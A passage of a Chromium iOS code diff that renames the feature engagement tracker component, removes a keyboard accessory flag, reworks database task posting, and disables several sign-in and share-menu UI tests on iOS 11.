   BrowserListSessionServiceFactory::GetInstance();
   DesktopPromotionSyncServiceFactory::GetInstance();
+  feature_engagement::TrackerFactory::GetInstance();
   IOSChromeGCMProfileServiceFactory::GetInstance();
   IOSChromeLargeIconCacheFactory::GetInstance();
   IOSChromeLargeIconServiceFactory::GetInstance();
@@ -101,7 +102,6 @@
   IOSChromeProfileInvalidationProviderFactory::GetInstance();
   IOSChromeProfileSyncServiceFactory::GetInstance();
   IOSUserEventServiceFactory::GetInstance();
-  FeatureEngagementTrackerFactory::GetInstance();
   GoogleLogoServiceFactory::GetInstance();
   OAuth2TokenServiceFactory::GetInstance();
   ReadingListModelFactory::GetInstance();
diff --git a/ios/chrome/browser/browser_state/chrome_browser_state_impl_io_data.mm b/ios/chrome/browser/browser_state/chrome_browser_state_impl_io_data.mm
index a48e6b21..7478085 100644
--- a/ios/chrome/browser/browser_state/chrome_browser_state_impl_io_data.mm
+++ b/ios/chrome/browser/browser_state/chrome_browser_state_impl_io_data.mm
@@ -275,8 +275,7 @@
   std::unique_ptr<net::HttpCache::BackendFactory> main_backend(
       new net::HttpCache::DefaultBackend(
           net::DISK_CACHE, net::CACHE_BACKEND_BLOCKFILE,
-          lazy_params_->cache_path, lazy_params_->cache_max_size,
-          web::WebThread::GetTaskRunnerForThread(web::WebThread::CACHE)));
+          lazy_params_->cache_path, lazy_params_->cache_max_size));
   http_network_session_ = CreateHttpNetworkSession(*profile_params);
   main_http_factory_ = CreateMainHttpFactory(http_network_session_.get(),
                                              std::move(main_backend));
diff --git a/ios/chrome/browser/browsing_data/ios_chrome_browsing_data_remover.mm b/ios/chrome/browser/browsing_data/ios_chrome_browsing_data_remover.mm
index 2af1591a..c9f0a12 100644
--- a/ios/chrome/browser/browsing_data/ios_chrome_browsing_data_remover.mm
+++ b/ios/chrome/browser/browsing_data/ios_chrome_browsing_data_remover.mm
@@ -233,10 +233,9 @@
       waiting_for_clear_autofill_origin_urls_ = true;
       web_data_service->RemoveOriginURLsModifiedBetween(delete_begin_,
                                                         delete_end_);
-      // The above calls are done on the UI thread but do their work on the DB
-      // thread. So wait for it.
-      WebThread::PostTaskAndReply(
-          WebThread::DB, FROM_HERE, base::Bind(&base::DoNothing),
+      // Ask for a call back when the above call is finished.
+      web_data_service->GetDBTaskRunner()->PostTaskAndReply(
+          FROM_HERE, base::Bind(&base::DoNothing),
           base::Bind(&IOSChromeBrowsingDataRemover::OnClearedAutofillOriginURLs,
                      base::Unretained(this)));
 
@@ -307,10 +306,9 @@
                                                        delete_end_);
       web_data_service->RemoveAutofillDataModifiedBetween(delete_begin_,
                                                           delete_end_);
-      // The above calls are done on the UI thread but do their work on the DB
-      // thread. So wait for it.
-      WebThread::PostTaskAndReply(
-          WebThread::DB, FROM_HERE, base::Bind(&base::DoNothing),
+      // Ask for a call back when the above calls are finished.
+      web_data_service->GetDBTaskRunner()->PostTaskAndReply(
+          FROM_HERE, base::Bind(&base::DoNothing),
           base::Bind(&IOSChromeBrowsingDataRemover::OnClearedFormData,
                      base::Unretained(this)));
 
diff --git a/ios/chrome/browser/content_suggestions/content_suggestions_header_view_controller.mm b/ios/chrome/browser/content_suggestions/content_suggestions_header_view_controller.mm
index 5d744ed..20ca96d 100644
--- a/ios/chrome/browser/content_suggestions/content_suggestions_header_view_controller.mm
+++ b/ios/chrome/browser/content_suggestions/content_suggestions_header_view_controller.mm
@@ -158,6 +158,10 @@
   }
 }
 
+- (void)layoutHeader {
+  [self.headerView layoutIfNeeded];
+}
+
 #pragma mark - ContentSuggestionsHeaderProvider
 
 - (UIView*)headerForWidth:(CGFloat)width {
diff --git a/ios/chrome/browser/experimental_flags.h b/ios/chrome/browser/experimental_flags.h
index a4525b3d..e029230 100644
--- a/ios/chrome/browser/experimental_flags.h
+++ b/ios/chrome/browser/experimental_flags.h
@@ -100,9 +100,6 @@
 // Whether a new version of FeedbackKit is the preferred feedback UI provider.
 bool IsNewFeedbackKitEnabled();
 
-// Whether the keyboard accessory view with camera search is enabled.
-bool IsKeyboardAccessoryViewWithCameraSearchEnabled();
-
 // Whether the WKBackForwardList based navigation manager is enabled.
 bool IsSlimNavigationManagerEnabled();
 
diff --git a/ios/chrome/browser/experimental_flags.mm b/ios/chrome/browser/experimental_flags.mm
index 81a010b..b4ab53f 100644
--- a/ios/chrome/browser/experimental_flags.mm
+++ b/ios/chrome/browser/experimental_flags.mm
@@ -272,11 +272,6 @@
       boolForKey:@"NewFeedbackKitEnabled"];
 }
 
-bool IsKeyboardAccessoryViewWithCameraSearchEnabled() {
-  return ![[NSUserDefaults standardUserDefaults]
-      boolForKey:@"NewKeyboardAccessoryViewDisabled"];
-}
-
 bool IsSlimNavigationManagerEnabled() {
   // Check if the experimental flag is forced on or off.
   base::CommandLine* command_line = base::CommandLine::ForCurrentProcess();
diff --git a/ios/chrome/browser/feature_engagement_tracker/BUILD.gn b/ios/chrome/browser/feature_engagement/BUILD.gn
similarity index 61%
rename from ios/chrome/browser/feature_engagement_tracker/BUILD.gn
rename to ios/chrome/browser/feature_engagement/BUILD.gn
index b90bbd0..d3c2c133 100644
--- a/ios/chrome/browser/feature_engagement_tracker/BUILD.gn
+++ b/ios/chrome/browser/feature_engagement/BUILD.gn
@@ -2,19 +2,19 @@
 # Use of this source code is governed by a BSD-style license that can be
 # found in the LICENSE file.
 
-source_set("feature_engagement_tracker") {
+source_set("feature_engagement") {
   sources = [
-    "feature_engagement_tracker_factory.h",
-    "feature_engagement_tracker_factory.mm",
-    "feature_engagement_tracker_util.h",
-    "feature_engagement_tracker_util.mm",
+    "tracker_factory.h",
+    "tracker_factory.mm",
+    "tracker_util.h",
+    "tracker_util.mm",
   ]
 
   configs += [ "//build/config/compiler:enable_arc" ]
 
   deps = [
     "//base",
-    "//components/feature_engagement_tracker",
+    "//components/feature_engagement",
     "//components/keyed_service/ios",
     "//ios/chrome/browser",
     "//ios/chrome/browser/browser_state",
diff --git a/ios/chrome/browser/feature_engagement_tracker/OWNERS b/ios/chrome/browser/feature_engagement/OWNERS
similarity index 100%
rename from ios/chrome/browser/feature_engagement_tracker/OWNERS
rename to ios/chrome/browser/feature_engagement/OWNERS
diff --git a/ios/chrome/browser/feature_engagement/tracker_factory.h b/ios/chrome/browser/feature_engagement/tracker_factory.h
new file mode 100644
index 0000000..e6886d6
--- /dev/null
+++ b/ios/chrome/browser/feature_engagement/tracker_factory.h
@@ -0,0 +1,54 @@
+// Copyright 2017 The Chromium Authors. All rights reserved.
+// Use of this source code is governed by a BSD-style license that can be
+// found in the LICENSE file.
+
+#ifndef IOS_CHROME_BROWSER_FEATURE_ENGAGEMENT_TRACKER_FACTORY_H_
+#define IOS_CHROME_BROWSER_FEATURE_ENGAGEMENT_TRACKER_FACTORY_H_
+
+#include "base/macros.h"
+#include "components/keyed_service/ios/browser_state_keyed_service_factory.h"
+
+namespace base {
+template <typename T>
+struct DefaultSingletonTraits;
+}  // namespace base
+
+namespace ios {
+class ChromeBrowserState;
+}  // namespace ios
+
+namespace feature_engagement {
+class Tracker;
+
+// TrackerFactory is the main class for interacting with the
+// feature_engagement component. It uses the KeyedService API to
+// expose functions to associate and retrieve a feature_engagement::Tracker
+// object with a given ios::ChromeBrowserState object.
+class TrackerFactory : public BrowserStateKeyedServiceFactory {
+ public:
+  // Returns the TrackerFactory singleton object.
+  static TrackerFactory* GetInstance();
+
+  // Retrieves the Tracker object associated with a given
+  // browser state. It is created if it does not already exist.
+  static Tracker* GetForBrowserState(ios::ChromeBrowserState* browser_state);
+
+ protected:
+  // BrowserStateKeyedServiceFactory implementation.
+  std::unique_ptr<KeyedService> BuildServiceInstanceFor(
+      web::BrowserState* context) const override;
+  web::BrowserState* GetBrowserStateToUse(
+      web::BrowserState* context) const override;
+
+ private:
+  friend struct base::DefaultSingletonTraits<TrackerFactory>;
+
+  TrackerFactory();
+  ~TrackerFactory() override;
+
+  DISALLOW_COPY_AND_ASSIGN(TrackerFactory);
+};
+
+}  // namespace feature_engagement
+
+#endif  // IOS_CHROME_BROWSER_FEATURE_ENGAGEMENT_TRACKER_FACTORY_H_
diff --git a/ios/chrome/browser/feature_engagement_tracker/feature_engagement_tracker_factory.mm b/ios/chrome/browser/feature_engagement/tracker_factory.mm
similarity index 65%
rename from ios/chrome/browser/feature_engagement_tracker/feature_engagement_tracker_factory.mm
rename to ios/chrome/browser/feature_engagement/tracker_factory.mm
index d4cec7e..da0c2f3b 100644
--- a/ios/chrome/browser/feature_engagement_tracker/feature_engagement_tracker_factory.mm
+++ b/ios/chrome/browser/feature_engagement/tracker_factory.mm
@@ -2,14 +2,14 @@
 // Use of this source code is governed by a BSD-style license that can be
 // found in the LICENSE file.
 
-#include "ios/chrome/browser/feature_engagement_tracker/feature_engagement_tracker_factory.h"
+#include "ios/chrome/browser/feature_engagement/tracker_factory.h"
 
 #include "base/memory/ptr_util.h"
 #include "base/memory/ref_counted.h"
 #include "base/memory/singleton.h"
 #include "base/sequenced_task_runner.h"
 #include "base/task_scheduler/post_task.h"
-#include "components/feature_engagement_tracker/public/feature_engagement_tracker.h"
+#include "components/feature_engagement/public/tracker.h"
 #include "components/keyed_service/ios/browser_state_dependency_manager.h"
 #include "ios/chrome/browser/browser_state/browser_state_otr_helper.h"
 #include "ios/chrome/browser/browser_state/chrome_browser_state.h"
@@ -26,29 +26,28 @@
 
 }  // namespace
 
+namespace feature_engagement {
+
 // static
-FeatureEngagementTrackerFactory*
-FeatureEngagementTrackerFactory::GetInstance() {
-  return base::Singleton<FeatureEngagementTrackerFactory>::get();
+TrackerFactory* TrackerFactory::GetInstance() {
+  return base::Singleton<TrackerFactory>::get();
 }
 
 // static
-feature_engagement_tracker::FeatureEngagementTracker*
-FeatureEngagementTrackerFactory::GetForBrowserState(
+feature_engagement::Tracker* TrackerFactory::GetForBrowserState(
     ios::ChromeBrowserState* browser_state) {
-  return static_cast<feature_engagement_tracker::FeatureEngagementTracker*>(
+  return static_cast<feature_engagement::Tracker*>(
       GetInstance()->GetServiceForBrowserState(browser_state, true));
 }
 
-FeatureEngagementTrackerFactory::FeatureEngagementTrackerFactory()
+TrackerFactory::TrackerFactory()
     : BrowserStateKeyedServiceFactory(
-          "FeatureEngagementTracker",
+          "feature_engagement::Tracker",
           BrowserStateDependencyManager::GetInstance()) {}
 
-FeatureEngagementTrackerFactory::~FeatureEngagementTrackerFactory() = default;
+TrackerFactory::~TrackerFactory() = default;
 
-std::unique_ptr<KeyedService>
-FeatureEngagementTrackerFactory::BuildServiceInstanceFor(
+std::unique_ptr<KeyedService> TrackerFactory::BuildServiceInstanceFor(
     web::BrowserState* context) const {
   ios::ChromeBrowserState* browser_state =
       ios::ChromeBrowserState::FromBrowserState(context);
@@ -61,14 +60,15 @@
       kIOSFeatureEngagementTrackerStorageDirname);
 
   return base::WrapUnique(
-      feature_engagement_tracker::FeatureEngagementTracker::Create(
-          storage_dir, background_task_runner));
+      feature_engagement::Tracker::Create(storage_dir, background_task_runner));
 }
 
 // Finds which browser state to use. If |context| is an incognito browser
 // state, it returns the non-incognito state. Thus, feature engagement events
 // are tracked even in incognito tabs.
-web::BrowserState* FeatureEngagementTrackerFactory::GetBrowserStateToUse(
+web::BrowserState* TrackerFactory::GetBrowserStateToUse(
     web::BrowserState* context) const {
   return GetBrowserStateRedirectedInIncognito(context);
 }
+
+}  // namespace feature_engagement
diff --git a/ios/chrome/browser/feature_engagement_tracker/feature_engagement_tracker_util.h b/ios/chrome/browser/feature_engagement/tracker_util.h
similarity index 69%
rename from ios/chrome/browser/feature_engagement_tracker/feature_engagement_tracker_util.h
rename to ios/chrome/browser/feature_engagement/tracker_util.h
index 52189b7..e32e2e2 100644
--- a/ios/chrome/browser/feature_engagement_tracker/feature_engagement_tracker_util.h
+++ b/ios/chrome/browser/feature_engagement/tracker_util.h
@@ -7,13 +7,13 @@
 }  // namespace ios
 @class OpenNewTabCommand;
 
-namespace feature_engagement_tracker {
-// Sends a new tab event to the FeatureEngagementTracker based on |isIncognito|.
-// If |isIncognito| is |true|, then the "Incognito Tab Opened" is fired. If
-// |isIncognito| is |false|, then the "New Tab Event" is fired.
+namespace feature_engagement {
+// Sends a new tab event to the feature_engagement::Tracker based on
+// |isIncognito|. If |isIncognito| is |true|, then the "Incognito Tab Opened"
+// is fired. If |isIncognito| is |false|, then the "New Tab Event" is fired.
 void NotifyNewTabEvent(ios::ChromeBrowserState* browserState, bool isIncognito);
 
-// Sends a new tab event to the FeatureEngagementTracker based on
+// Sends a new tab event to the feature_engagement::Tracker based on
 // |command.incognito| and |command.userInitiated|. If |command.userInitiated|
 // is |false|, then no event is fired. If |command.userInitiated| is |true|,
 // then one of the new tab events is fired. If |command.incognito| is |true|,
@@ -21,4 +21,4 @@
 // |false|, then the "New Tab Opened" event is fired.
 void NotifyNewTabEventForCommand(ios::ChromeBrowserState* browserState,
                                  OpenNewTabCommand* command);
-}  // namespace feature_engagement_tracker
+}  // namespace feature_engagement
diff --git a/ios/chrome/browser/feature_engagement/tracker_util.mm b/ios/chrome/browser/feature_engagement/tracker_util.mm
new file mode 100644
index 0000000..51814ef
--- /dev/null
+++ b/ios/chrome/browser/feature_engagement/tracker_util.mm
@@ -0,0 +1,30 @@
+// Copyright 2017 The Chromium Authors. All rights reserved.
+// Use of this source code is governed by a BSD-style license that can be
+// found in the LICENSE file.
+
+#include "ios/chrome/browser/feature_engagement/tracker_util.h"
+
+#include "components/feature_engagement/public/event_constants.h"
+#include "components/feature_engagement/public/tracker.h"
+#include "ios/chrome/browser/feature_engagement/tracker_factory.h"
+#import "ios/chrome/browser/ui/commands/open_new_tab_command.h"
+
+namespace feature_engagement {
+
+void NotifyNewTabEvent(ios::ChromeBrowserState* browserState,
+                       bool isIncognito) {
+  const char* const event =
+      isIncognito ? feature_engagement::events::kIncognitoTabOpened
+                  : feature_engagement::events::kNewTabOpened;
+  TrackerFactory::GetForBrowserState(browserState)
+      ->NotifyEvent(std::string(event));
+}
+
+void NotifyNewTabEventForCommand(ios::ChromeBrowserState* browserState,
+                                 OpenNewTabCommand* command) {
+  if (command.isUserInitiated) {
+    NotifyNewTabEvent(browserState, command.incognito);
+  }
+}
+
+}  // namespace feature_engagement
diff --git a/ios/chrome/browser/feature_engagement_tracker/feature_engagement_tracker_factory.h b/ios/chrome/browser/feature_engagement_tracker/feature_engagement_tracker_factory.h
deleted file mode 100644
index 2a7286ae..0000000
--- a/ios/chrome/browser/feature_engagement_tracker/feature_engagement_tracker_factory.h
+++ /dev/null
@@ -1,54 +0,0 @@
-// Copyright 2017 The Chromium Authors. All rights reserved.
-// Use of this source code is governed by a BSD-style license that can be
-// found in the LICENSE file.
-
-#ifndef IOS_CHROME_BROWSER_FEATURE_ENGAGEMENT_TRACKER_FEATURE_ENGAGEMENT_TRACKER_FACTORY_H_
-#define IOS_CHROME_BROWSER_FEATURE_ENGAGEMENT_TRACKER_FEATURE_ENGAGEMENT_TRACKER_FACTORY_H_
-
-#include "base/macros.h"
-#include "components/keyed_service/ios/browser_state_keyed_service_factory.h"
-
-namespace feature_engagement_tracker {
-class FeatureEngagementTracker;
-}  // namespace feature_engagement_tracker
-
-namespace base {
-template <typename T>
-struct DefaultSingletonTraits;
-}  // namespace base
-
-namespace ios {
-class ChromeBrowserState;
-}  // namespace ios
-
-// FeatureEngagementTrackerFactory is the main class for interacting with the
-// feature_engagement_tracker component. It uses the KeyedService API to
-// expose functions to associate and retrieve a FeatureEngagementTracker object
-// with a given ios::ChromeBrowserState object.
-class FeatureEngagementTrackerFactory : public BrowserStateKeyedServiceFactory {
- public:
-  // Returns the FeatureEngagementTrackerFactory singleton object.
-  static FeatureEngagementTrackerFactory* GetInstance();
-
-  // Retrieves the FeatureEngagementTracker object associated with a given
-  // browser state. It is created if it does not already exist.
-  static feature_engagement_tracker::FeatureEngagementTracker*
-  GetForBrowserState(ios::ChromeBrowserState* browser_state);
-
- protected:
-  // BrowserStateKeyedServiceFactory implementation.
-  std::unique_ptr<KeyedService> BuildServiceInstanceFor(
-      web::BrowserState* context) const override;
-  web::BrowserState* GetBrowserStateToUse(
-      web::BrowserState* context) const override;
-
- private:
-  friend struct base::DefaultSingletonTraits<FeatureEngagementTrackerFactory>;
-
-  FeatureEngagementTrackerFactory();
-  ~FeatureEngagementTrackerFactory() override;
-
-  DISALLOW_COPY_AND_ASSIGN(FeatureEngagementTrackerFactory);
-};
-
-#endif  // IOS_CHROME_BROWSER_FEATURE_ENGAGEMENT_TRACKER_FEATURE_ENGAGEMENT_TRACKER_FACTORY_H_
diff --git a/ios/chrome/browser/feature_engagement_tracker/feature_engagement_tracker_util.mm b/ios/chrome/browser/feature_engagement_tracker/feature_engagement_tracker_util.mm
deleted file mode 100644
index e9b358a..0000000
--- a/ios/chrome/browser/feature_engagement_tracker/feature_engagement_tracker_util.mm
+++ /dev/null
@@ -1,30 +0,0 @@
-// Copyright 2017 The Chromium Authors. All rights reserved.
-// Use of this source code is governed by a BSD-style license that can be
-// found in the LICENSE file.
-
-#include "ios/chrome/browser/feature_engagement_tracker/feature_engagement_tracker_util.h"
-
-#include "components/feature_engagement_tracker/public/event_constants.h"
-#include "components/feature_engagement_tracker/public/feature_engagement_tracker.h"
-#include "ios/chrome/browser/feature_engagement_tracker/feature_engagement_tracker_factory.h"
-#import "ios/chrome/browser/ui/commands/open_new_tab_command.h"
-
-namespace feature_engagement_tracker {
-
-void NotifyNewTabEvent(ios::ChromeBrowserState* browserState,
-                       bool isIncognito) {
-  const char* const event =
-      isIncognito ? feature_engagement_tracker::events::kIncognitoTabOpened
-                  : feature_engagement_tracker::events::kNewTabOpened;
-  FeatureEngagementTrackerFactory::GetForBrowserState(browserState)
-      ->NotifyEvent(std::string(event));
-}
-
-void NotifyNewTabEventForCommand(ios::ChromeBrowserState* browserState,
-                                 OpenNewTabCommand* command) {
-  if (command.isUserInitiated) {
-    NotifyNewTabEvent(browserState, command.incognito);
-  }
-}
-
-}  // namespace feature_engagement_tracker
diff --git a/ios/chrome/browser/ios_chrome_flag_descriptions.h b/ios/chrome/browser/ios_chrome_flag_descriptions.h
index fb16dfd8..90f94da 100644
--- a/ios/chrome/browser/ios_chrome_flag_descriptions.h
+++ b/ios/chrome/browser/ios_chrome_flag_descriptions.h
@@ -43,8 +43,8 @@
 extern const char kIosCaptivePortalName[];
 extern const char kIosCaptivePortalDescription[];
 
-// Title and description for the flag to enable FeatureEngagementTracker demo
-// mode.
+// Title and description for the flag to enable feature_engagement::Tracker
+// demo mode.
 extern const char kInProductHelpDemoModeName[];
 extern const char kInProductHelpDemoModeDescription[];
 
diff --git a/ios/chrome/browser/resources/Settings.bundle/Experimental.plist b/ios/chrome/browser/resources/Settings.bundle/Experimental.plist
index e2bc006..9b32fbb 100644
--- a/ios/chrome/browser/resources/Settings.bundle/Experimental.plist
+++ b/ios/chrome/browser/resources/Settings.bundle/Experimental.plist
@@ -412,16 +412,6 @@
 		</dict>
 		<dict>
 			<key>Type</key>
-			<string>PSToggleSwitchSpecifier</string>
-			<key>Title</key>
-			<string>Disable New Keyboard Accessory View</string>
-			<key>Key</key>
-			<string>NewKeyboardAccessoryViewDisabled</string>
-			<key>DefaultValue</key>
-			<false/>
-		</dict>
-		<dict>
-			<key>Type</key>
 			<string>PSGroupSpecifier</string>
 			<key>Title</key>
 			<string>Memory</string>
diff --git a/ios/chrome/browser/signin/gaia_auth_fetcher_ios.mm b/ios/chrome/browser/signin/gaia_auth_fetcher_ios.mm
index 1b05d07..9d7f958 100644
--- a/ios/chrome/browser/signin/gaia_auth_fetcher_ios.mm
+++ b/ios/chrome/browser/signin/gaia_auth_fetcher_ios.mm
@@ -6,6 +6,7 @@
 
 #import <WebKit/WebKit.h>
 
+#include "base/ios/ios_util.h"
 #include "base/json/string_escape.h"
 #include "base/logging.h"
 #import "base/mac/foundation_util.h"
@@ -114,10 +115,13 @@
 // This is needed because WKWebView ignores the HTTPBody in a POST request.
 // See
 // https://bugs.webkit.org/show_bug.cgi?id=145410
+// TODO(crbug.com/740987): Remove this function workaround once iOS 10 is
+// dropped.
 void DoPostRequest(WKWebView* web_view,
                    const std::string& body,
                    const std::string& headers,
                    const GURL& url) {
+  DCHECK(!base::ios::IsRunningOnIOS11OrLater());
   NSMutableString* header_data = [NSMutableString string];
   net::HttpRequestHeaders request_headers;
   request_headers.AddHeadersFromString(headers);
@@ -262,12 +266,12 @@
 void GaiaAuthFetcherIOSBridge::FetchPendingRequest() {
   if (!request_.pending)
     return;
-  if (!request_.body.empty()) {
+  if (!request_.body.empty() && !base::ios::IsRunningOnIOS11OrLater()) {
     DoPostRequest(GetWKWebView(), request_.body, request_.headers,
                   request_.url);
   } else {
-  [GetWKWebView()
-      loadRequest:GetRequest(request_.body, request_.headers, request_.url)];
+    [GetWKWebView()
+        loadRequest:GetRequest(request_.body, request_.headers, request_.url)];
   }
 }
 
diff --git a/ios/chrome/browser/signin/gaia_auth_fetcher_ios_unittest.mm b/ios/chrome/browser/signin/gaia_auth_fetcher_ios_unittest.mm
index 0f45e75b..43e341af 100644
--- a/ios/chrome/browser/signin/gaia_auth_fetcher_ios_unittest.mm
+++ b/ios/chrome/browser/signin/gaia_auth_fetcher_ios_unittest.mm
@@ -6,6 +6,7 @@
 
 #include <memory>
 
+#include "base/ios/ios_util.h"
 #include "base/run_loop.h"
 #include "google_apis/gaia/gaia_urls.h"
 #include "ios/chrome/browser/signin/gaia_auth_fetcher_ios_private.h"
@@ -91,9 +92,15 @@
       GoogleServiceAuthError(GoogleServiceAuthError::REQUEST_CANCELED);
   EXPECT_CALL(consumer_, OnClientLoginFailure(expected_error)).Times(1);
 
-  [static_cast<WKWebView*>([GetMockWKWebView() expect])
-      loadHTMLString:[OCMArg any]
-             baseURL:[OCMArg any]];
+  if (base::ios::IsRunningOnIOS11OrLater()) {
+    [static_cast<WKWebView*>([GetMockWKWebView() expect])
+        loadRequest:[OCMArg any]];
+  } else {
+    // TODO(crbug.com/740987): Remove this code once iOS 10 is dropped.
+    [static_cast<WKWebView*>([GetMockWKWebView() expect])
+        loadHTMLString:[OCMArg any]
+               baseURL:[OCMArg any]];
+  }
   [[GetMockWKWebView() expect] stopLoading];
 
   gaia_auth_fetcher_->StartOAuthLogin("fake_token", "gaia");
diff --git a/ios/chrome/browser/ui/BUILD.gn b/ios/chrome/browser/ui/BUILD.gn
index 3407dcb..49c027f0 100644
--- a/ios/chrome/browser/ui/BUILD.gn
+++ b/ios/chrome/browser/ui/BUILD.gn
@@ -340,7 +340,7 @@
     "//base",
     "//base:i18n",
     "//components/bookmarks/browser",
-    "//components/feature_engagement_tracker",
+    "//components/feature_engagement",
     "//components/image_fetcher/ios",
     "//components/infobars/core",
     "//components/payments/core",
@@ -358,7 +358,7 @@
     "//ios/chrome/browser/browser_state",
     "//ios/chrome/browser/content_suggestions",
     "//ios/chrome/browser/favicon",
-    "//ios/chrome/browser/feature_engagement_tracker",
+    "//ios/chrome/browser/feature_engagement",
     "//ios/chrome/browser/find_in_page",
     "//ios/chrome/browser/first_run",
     "//ios/chrome/browser/geolocation:geolocation_internal",
diff --git a/ios/chrome/browser/ui/activity_services/activity_service_controller_egtest.mm b/ios/chrome/browser/ui/activity_services/activity_service_controller_egtest.mm
index 39be4f7..113f10566 100644
--- a/ios/chrome/browser/ui/activity_services/activity_service_controller_egtest.mm
+++ b/ios/chrome/browser/ui/activity_services/activity_service_controller_egtest.mm
@@ -4,6 +4,7 @@
 
 #import <XCTest/XCTest.h>
 
+#include "base/ios/ios_util.h"
 #include "base/memory/ptr_util.h"
 #include "components/strings/grit/components_strings.h"
 #import "ios/chrome/browser/ui/browser_view_controller_dependency_factory.h"
@@ -66,6 +67,12 @@
   EARL_GREY_TEST_DISABLED(@"Test disabled on device.");
 #endif
 
+  // TODO(crbug.com/747622): re-enable this test on iOS 11 once earl grey can
+  // interact with the share menu.
+  if (base::ios::IsRunningOnIOS11OrLater()) {
+    EARL_GREY_TEST_DISABLED(@"Disabled on iOS 11.");
+  }
+
   std::map<GURL, std::string> responses;
   const GURL regularPageURL = web::test::HttpServer::MakeUrl("http://choux");
   responses[regularPageURL] = "fleur";
@@ -95,6 +102,12 @@
 }
 
 - (void)testActivityServiceControllerCantPrintUnprintablePages {
+  // TODO(crbug.com/747622): re-enable this test on iOS 11 once earl grey can
+  // interact with the share menu.
+  if (base::ios::IsRunningOnIOS11OrLater()) {
+    EARL_GREY_TEST_DISABLED(@"Disabled on iOS 11.");
+  }
+
   std::unique_ptr<web::DataResponseProvider> provider(
       new ErrorPageResponseProvider());
   web::test::SetUpHttpServer(std::move(provider));
@@ -124,6 +137,12 @@
 }
 
 - (void)testOpenActivityServiceControllerAndCopy {
+  // TODO(crbug.com/747622): re-enable this test on iOS 11 once earl grey can
+  // interact with the share menu.
+  if (base::ios::IsRunningOnIOS11OrLater()) {
+    EARL_GREY_TEST_DISABLED(@"Disabled on iOS 11.");
+  }
+
   // Set up mock http server.
   std::map<GURL, std::string> responses;
   GURL url = web::test::HttpServer::MakeUrl("http://potato");
diff --git a/ios/chrome/browser/ui/authentication/signin_interaction_controller_egtest.mm b/ios/chrome/browser/ui/authentication/signin_interaction_controller_egtest.mm
index c962571..96db28c 100644
--- a/ios/chrome/browser/ui/authentication/signin_interaction_controller_egtest.mm
+++ b/ios/chrome/browser/ui/authentication/signin_interaction_controller_egtest.mm
@@ -5,6 +5,7 @@
 #import <EarlGrey/EarlGrey.h>
 #import <XCTest/XCTest.h>
 
+#include "base/ios/ios_util.h"
 #include "base/strings/sys_string_conversions.h"
 #import "base/test/ios/wait_util.h"
 #include "components/signin/core/browser/signin_manager.h"
@@ -130,6 +131,11 @@
 // Tests that opening the sign-in screen from the Settings and signing in works
 // correctly when there is already an identity on the device.
 - (void)testSignInOneUser {
+  // TODO(crbug.com/747444): Re-enable this test on iOS 11.
+  if (base::ios::IsRunningOnIOS11OrLater()) {
+    EARL_GREY_TEST_DISABLED(@"Disabled on iOS 11.");
+  }
+
   // Set up a fake identity.
   ChromeIdentity* identity = GetFakeIdentity1();
   ios::FakeChromeIdentityService::GetInstanceFromChromeProvider()->AddIdentity(
@@ -155,6 +161,11 @@
 // Tests signing in with one account, switching sync account to a second and
 // choosing to keep the browsing data separate during the switch.
 - (void)testSignInSwitchAccountsAndKeepDataSeparate {
+  // TODO(crbug.com/747444): Re-enable this test on iOS 11.
+  if (base::ios::IsRunningOnIOS11OrLater()) {
+    EARL_GREY_TEST_DISABLED(@"Disabled on iOS 11.");
+  }
+
   // Set up the fake identities.
   ios::FakeChromeIdentityService* identity_service =
       ios::FakeChromeIdentityService::GetInstanceFromChromeProvider();
@@ -194,6 +205,11 @@
 // Tests signing in with one account, switching sync account to a second and
 // choosing to import the browsing data during the switch.
 - (void)testSignInSwitchAccountsAndImportData {
+  // TODO(crbug.com/747444): Re-enable this test on iOS 11.
+  if (base::ios::IsRunningOnIOS11OrLater()) {
+    EARL_GREY_TEST_DISABLED(@"Disabled on iOS 11.");
+  }
+
   // Set up the fake identities.
   ios::FakeChromeIdentityService* identity_service =
       ios::FakeChromeIdentityService::GetInstanceFromChromeProvider();
@@ -233,6 +249,11 @@
 // Tests that switching from a managed account to a non-managed account works
 // correctly and displays the expected warnings.
 - (void)testSignInSwitchManagedAccount {
+  // TODO(crbug.com/747444): Re-enable this test on iOS 11.
+  if (base::ios::IsRunningOnIOS11OrLater()) {
+    EARL_GREY_TEST_DISABLED(@"Disabled on iOS 11.");
+  }
+
   if (!experimental_flags::IsMDMIntegrationEnabled()) {
     EARL_GREY_TEST_SKIPPED(@"Only enabled with MDM integration.");
   }
@@ -282,6 +303,11 @@
 
 // Tests that signing out from the Settings works correctly.
 - (void)testSignInDisconnectFromChrome {
+  // TODO(crbug.com/747444): Re-enable this test on iOS 11.
+  if (base::ios::IsRunningOnIOS11OrLater()) {
+    EARL_GREY_TEST_DISABLED(@"Disabled on iOS 11.");
+  }
+
   ChromeIdentity* identity = GetFakeIdentity1();
   ios::FakeChromeIdentityService::GetInstanceFromChromeProvider()->AddIdentity(
       identity);
@@ -317,6 +343,11 @@
 // Tests that signing out of a managed account from the Settings works
 // correctly.
 - (void)testSignInDisconnectFromChromeManaged {
+  // TODO(crbug.com/747444): Re-enable this test on iOS 11.
+  if (base::ios::IsRunningOnIOS11OrLater()) {
+    EARL_GREY_TEST_DISABLED(@"Disabled on iOS 11.");
+  }
+
   if (!experimental_flags::IsMDMIntegrationEnabled()) {
     EARL_GREY_TEST_SKIPPED(@"Only enabled with MDM integration.");
   }
@@ -465,6 +496,11 @@
 // that the authentication flow is correctly canceled and dismissed.
 // crbug.com/462202
 - (void)testSignInCancelAuthenticationFlow {
+  // TODO(crbug.com/747444): Re-enable this test on iOS 11.
+  if (base::ios::IsRunningOnIOS11OrLater()) {
+    EARL_GREY_TEST_DISABLED(@"Disabled on iOS 11.");
+  }
+
   // Set up the fake identities.
   ios::FakeChromeIdentityService* identity_service =
       ios::FakeChromeIdentityService::GetInstanceFromChromeProvider();
diff --git a/ios/chrome/browser/ui/bookmarks/bookmarks_egtest.mm b/ios/chrome/browser/ui/bookmarks/bookmarks_egtest.mm
index 3dbe81e..9fd6d95 100644
--- a/ios/chrome/browser/ui/bookmarks/bookmarks_egtest.mm
+++ b/ios/chrome/browser/ui/bookmarks/bookmarks_egtest.mm
@@ -1344,13 +1344,18 @@
 // Rename folder title to |folderTitle|. Must be in edit folder UI.
 + (void)renameBookmarkFolderWithFolderTitle:(NSString*)folderTitle {
   NSString* titleIdentifier = @"Title_textField";
-  NSString* clearTextFieldIdentifier = @"Clear text";
 
   // Edit the title field.
   [[EarlGrey selectElementWithMatcher:grey_accessibilityID(titleIdentifier)]
       performAction:grey_tap()];
